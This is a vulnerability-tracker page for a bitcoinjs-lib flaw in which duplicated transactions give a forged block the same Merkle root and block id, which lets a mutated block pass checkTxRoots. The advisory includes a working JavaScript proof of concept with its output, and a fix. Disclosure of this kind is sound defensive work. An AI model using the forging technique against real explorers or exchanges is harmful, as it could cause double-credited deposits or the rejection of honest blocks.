Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

bitcoinjs-lib · Vulnerability

CVSS 4.0 9.3 CRITICALEUVD CVSS 4.0 9.3 CVSS 4.0 · [email protected] · Secondary 9.3 CRITICALCVSS_V4 Publisher rating CRITICALFixed by bitcoinjs-lib 5.2.1Fixed by bitcoinjs-lib 6.1.8Fixed by bitcoinjs-lib 7.0.2KEV status unknown

cve-program · CVE-2026-107846

Published

bitcoinjs-lib is a JavaScript Bitcoin library for Node.js and browsers. From 2.3.0 until 5.2.1, 6.1.8, and 7.0.2, fastMerkleRoot pads odd Merkle-tree levels by hashing the final node with itself but does not report adjacent duplicate hashes. The affected block-root verifier was introduced as Block.checkMerkleRoot() alongside Block.calculateMerkleRoot(), while later versions expose validation through checkTxRoots() and __checkMerkleRoot; these validation paths can accept a recomputed root without checking for mutation. A peer can append duplicate transactions so a different transaction list retains the original Merkle root, block header, proof of work, and block identifier. Consumers that rely on block-root validation, including explorers, exchange indexers, or SPV clients, can process a duplicated transaction twice or blacklist the shared block hash and reject the honest block. This issue is fixed in versions 5.2.1, 6.1.8, and 7.0.2.

Read the publisher's advisory

euvd · EUVD-2026-117051

Published

bitcoinjs-lib is a JavaScript Bitcoin library for Node.js and browsers. From 2.3.0 until 5.2.1, 6.1.8, and 7.0.2, fastMerkleRoot pads odd Merkle-tree levels by hashing the final node with itself but does not report adjacent duplicate hashes. The affected block-root verifier was introduced as Block.checkMerkleRoot() alongside Block.calculateMerkleRoot(), while later versions expose validation through checkTxRoots() and __checkMerkleRoot; these validation paths can accept a recomputed root without checking for mutation. A peer can append duplicate transactions so a different transaction list retains the original Merkle root, block header, proof of work, and block identifier. Consumers that rely on block-root validation, including explorers, exchange indexers, or SPV clients, can process a duplicated transaction twice or blacklist the shared block hash and reject the honest block. This issue is fixed in versions 5.2.1, 6.1.8, and 7.0.2.

Read the publisher's advisory

nvd · CVE-2026-107846

Published

bitcoinjs-lib is a JavaScript Bitcoin library for Node.js and browsers. From 2.3.0 until 5.2.1, 6.1.8, and 7.0.2, fastMerkleRoot pads odd Merkle-tree levels by hashing the final node with itself but does not report adjacent duplicate hashes. The affected block-root verifier was introduced as Block.checkMerkleRoot() alongside Block.calculateMerkleRoot(), while later versions expose validation through checkTxRoots() and __checkMerkleRoot; these validation paths can accept a recomputed root without checking for mutation. A peer can append duplicate transactions so a different transaction list retains the original Merkle root, block header, proof of work, and block identifier. Consumers that rely on block-root validation, including explorers, exchange indexers, or SPV clients, can process a duplicated transaction twice or blacklist the shared block hash and reject the honest block. This issue is fixed in versions 5.2.1, 6.1.8, and 7.0.2.

Read the publisher's advisory

osv · GHSA-8vv3-6qpc-gpw6

Published

### Summary `fastMerkleRoot` pads an odd level by hashing the last node with itself. It does not report that it did so, and `checkTxRoots` never looks for repeated transactions. A peer can therefore duplicate transactions to fill the pad and produce a block with a different transaction list but the same merkle root. The block hash and block id do not change, so the header still carries valid proof of work. In the proof of concept a real mainnet block goes from nine transactions to ten, and separately to twelve, with the same id every time, and `checkTxRoots` accepts all three. Bitcoin Core rejects this case through the `mutated` flag in `ComputeMerkleRoot` and the `bad-txns-duplicate` reason in `CheckBlock`. This is CVE-2012-2459. ### Details A bitcoin merkle tree pads an odd level by hashing the last node with itself. Duplicating transactions to fill that pad therefore yields the same root for a different transaction list. This is CVE-2012-2459. Bitcoin Core detects it in `ComputeMerkleRoot`, which scans each level for two adjacent equal hashes before padding and raises a `mutated` flag when it finds a pair, and `CheckBlock` then rejects the block with `bad-txns-duplicate`. ```cpp uint256 ComputeMerkleRoot(std::vector<uint256> hashes, bool* mutated) { bool mutation = false; while (hashes.size() > 1) { if (mutated) { for (size_t pos = 0; pos + 1 < hashes.size(); pos += 2) { if (hashes[pos] == hashes[pos + 1]) mutation = true; } } if (hashes.size() & 1) { hashes.push_back(hashes.back()); } ... ``` The forged block carries the duplicate in its own transaction list, so the pair is present at a level and the flag is raised. The honest block has no such pair and is unaffected. `fastMerkleRoot` performs the duplication and reports nothing. ```js while (length > 1) { let j = 0; for (let i = 0; i < length; i += 2, ++j) { const left = results[i]; const right = i + 1 === length ? left : results[i + 1]; const data = tools.concat([left, right]); results[j] = digestFn(data); } length = j; } return results[0]; ``` `Block.calculateMerkleRoot` returns that value unchanged, and `__checkMerkleRoot` only compares it to the header field. ```js private __checkMerkleRoot(): boolean { if (!this.transactions) throw errorMerkleNoTxes; const actualMerkleRoot = Block.calculateMerkleRoot(this.transactions); return tools.compare(this.merkleRoot!, actualMerkleRoot) === 0; } ``` Nothing anywhere in `ts_src` looks for an adjacent duplicate pair or for a repeated txid. `checkTxRoots` is the library's advertised block integrity gate and it inherits the gap. ### PoC ```js import { createRequire } from 'module'; const require = createRequire(import.meta.url); import { Block } from 'bitcoinjs-lib/src/block'; const fs = require('fs'); const hex = (u) => Buffer.from(u).toString('hex'); // Real mainnet block, from the Bitcoin Core vector set shipped in this repo. const f = JSON.parse(fs.readFileSync( 'test/fixtures/core/blocks.json', 'utf8'))[0]; const honest = Block.fromHex(f.hex); console.log('honest block id :', honest.getId()); console.log('id matches fixture :', honest.getId() === f.id); console.log('transactions :', honest.transactions.length); console.log('merkle root :', hex(honest.merkleRoot)); console.log('checkTxRoots() :', honest.checkTxRoots()); console.log('serialized bytes :', honest.toBuffer().length); // Attacker duplicates the last transaction and relays the result. const forged = Block.fromHex(f.hex); forged.transactions = forged.transactions.concat([ forged.transactions[forged.transactions.length - 1], ]); // Round trip through the real parser, exactly as a P2P block message arrives. const parsed = Block.fromHex(forged.toHex()); console.log(''); console.log('forged block id :', parsed.getId()); console.log('transactions :', parsed.transactions.length); console.log('merkle root :', hex(parsed.merkleRoot)); console.log('recomputed merkle root:', hex(Block.calculateMerkleRoot(parsed.transactions))); console.log('checkTxRoots() :', parsed.checkTxRoots()); console.log('serialized bytes :', parsed.toBuffer().length); const ids = parsed.transactions.map((t) => t.getId()); console.log(''); console.log('same block id :', honest.getId() === parsed.getId()); console.log('different serialized bytes :', honest.toHex() !== parsed.toHex()); console.log('different transaction lists :', honest.transactions.length !== parsed.transactions.length); console.log('duplicate txid inside forged :', new Set(ids).size !== ids.length); console.log('both accepted by checkTxRoots :', honest.checkTxRoots() && parsed.checkTxRoots()); ``` Output on bitcoinjs-lib v7.0.1: ``` honest block id : 0000000000013b8ab2cd513b0261a14096412195a72a0c4827d229dcc7e0f7af id matches fixture : true transactions : 9 merkle root : 5275289558f51c9966699404ae2294730c3c9f9bda53523ce50e9b95e558da2f checkTxRoots() : true serialized bytes : 3054 forged block id : 0000000000013b8ab2cd513b0261a14096412195a72a0c4827d229dcc7e0f7af transactions : 10 merkle root : 5275289558f51c9966699404ae2294730c3c9f9bda53523ce50e9b95e558da2f recomputed merkle root: 5275289558f51c9966699404ae2294730c3c9f9bda53523ce50e9b95e558da2f checkTxRoots() : true serialized bytes : 3313 same block id : true different serialized bytes : true different transaction lists : true duplicate txid inside forged : true both accepted by checkTxRoots : true ``` The honest block is the control. It is a genuine mainnet block whose id matches the fixture and which validates. The forged block carries a different transaction list and 259 more bytes, yet produces the identical root and id and is also accepted. ### Impact Most real blocks reach an odd node count at some level, so most are rewritable. Any peer can relay a mutated copy of a block that already exists on chain. No mining is required, because the header never changes. An explorer, exchange indexer or SPV client that gates on `checkTxRoots` sees the duplicated transaction twice and can credit the same deposit twice. A consumer that responds by blacklisting the block hash then rejects the honest block as well, which is the chain split denial of service described in the original CVE. Severity depends on the consumer, since block validation is a smaller part of this library's use than transaction handling. Bitcoin Core's rejection is taken from its published `ComputeMerkleRoot` and `CheckBlock` source rather than executed against a running node. The fix is to scan each level for two adjacent equal hashes and to return false from `checkTxRoots` when a pair is found, matching the `mutated` output parameter Core threads from `ComputeMerkleRoot` into `CheckBlock`. ### Fix Report the padding case out of the root computation and act on it. ```js export function fastMerkleRoot( values: Uint8Array[], digestFn: (b: Uint8Array) => Uint8Array, mutated?: { value: boolean }, ): Uint8Array { ... while (length > 1) { let j = 0; for (let i = 0; i < length; i += 2, ++j) { const left = results[i]; const right = i + 1 === length ? left : results[i + 1]; if (i + 1 < length && tools.compare(left, right) === 0 && mutated) mutated.value = true; results[j] = digestFn(tools.concat([left, right])); } length = j; } return results[0]; } ``` Thread the flag through `Block.calculateMerkleRoot` and have `__checkMerkleRoot` return false when it is set, so a block containing an adjacent duplicate pair at any level is rejected the way `CheckBlock` rejects it with `bad-txns-duplicate`. Rejecting any block that contains a repeated txid gives the same result and is simpler to audit. ### Affected versions - Versions 2.3.0 through 5.2.0. - Versions 6.0.0 through 6.1.7, including 6.1.0-rc.0. - Versions 7.0.0-rc.0 through 7.0.1. The affected block-root verifier was introduced in 2.3.0 as `Block.checkMerkleRoot()`, alongside `Block.calculateMerkleRoot()`. Later versions expose block-root validation through `Block.checkTxRoots()`. ### Remediation Upgrade to bitcoinjs-lib 5.2.1, 6.1.8 or 7.0.2, or a later patched release on the corresponding line. Versions below v5 have no in-line patch and require upgrading to a fixed line. The fix detects adjacent equal hashes at each level before odd-node padding and makes block-root validation reject mutated transaction trees.

Read the publisher's advisory

Affected versions, risk and source history

Related advisories and sources

Publishers link these advisories through the identifiers shown below. A shared identifier or date alone does not tell you whether your software is affected or whether the advisories describe the same cause.

CVE-2026-107846 · CVE overview and exploitation status

EUVD-2026-117051

GHSA-8vv3-6qpc-gpw6

cve-program · CVE-2026-107846

euvd · EUVD-2026-117051

nvd · CVE-2026-107846

osv · GHSA-8vv3-6qpc-gpw6

Related changes

Linked by CVE identifier
ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 15 Nov 16:58 UTC · 254 of 275 readable · 250 fully read · documentation 469/469 current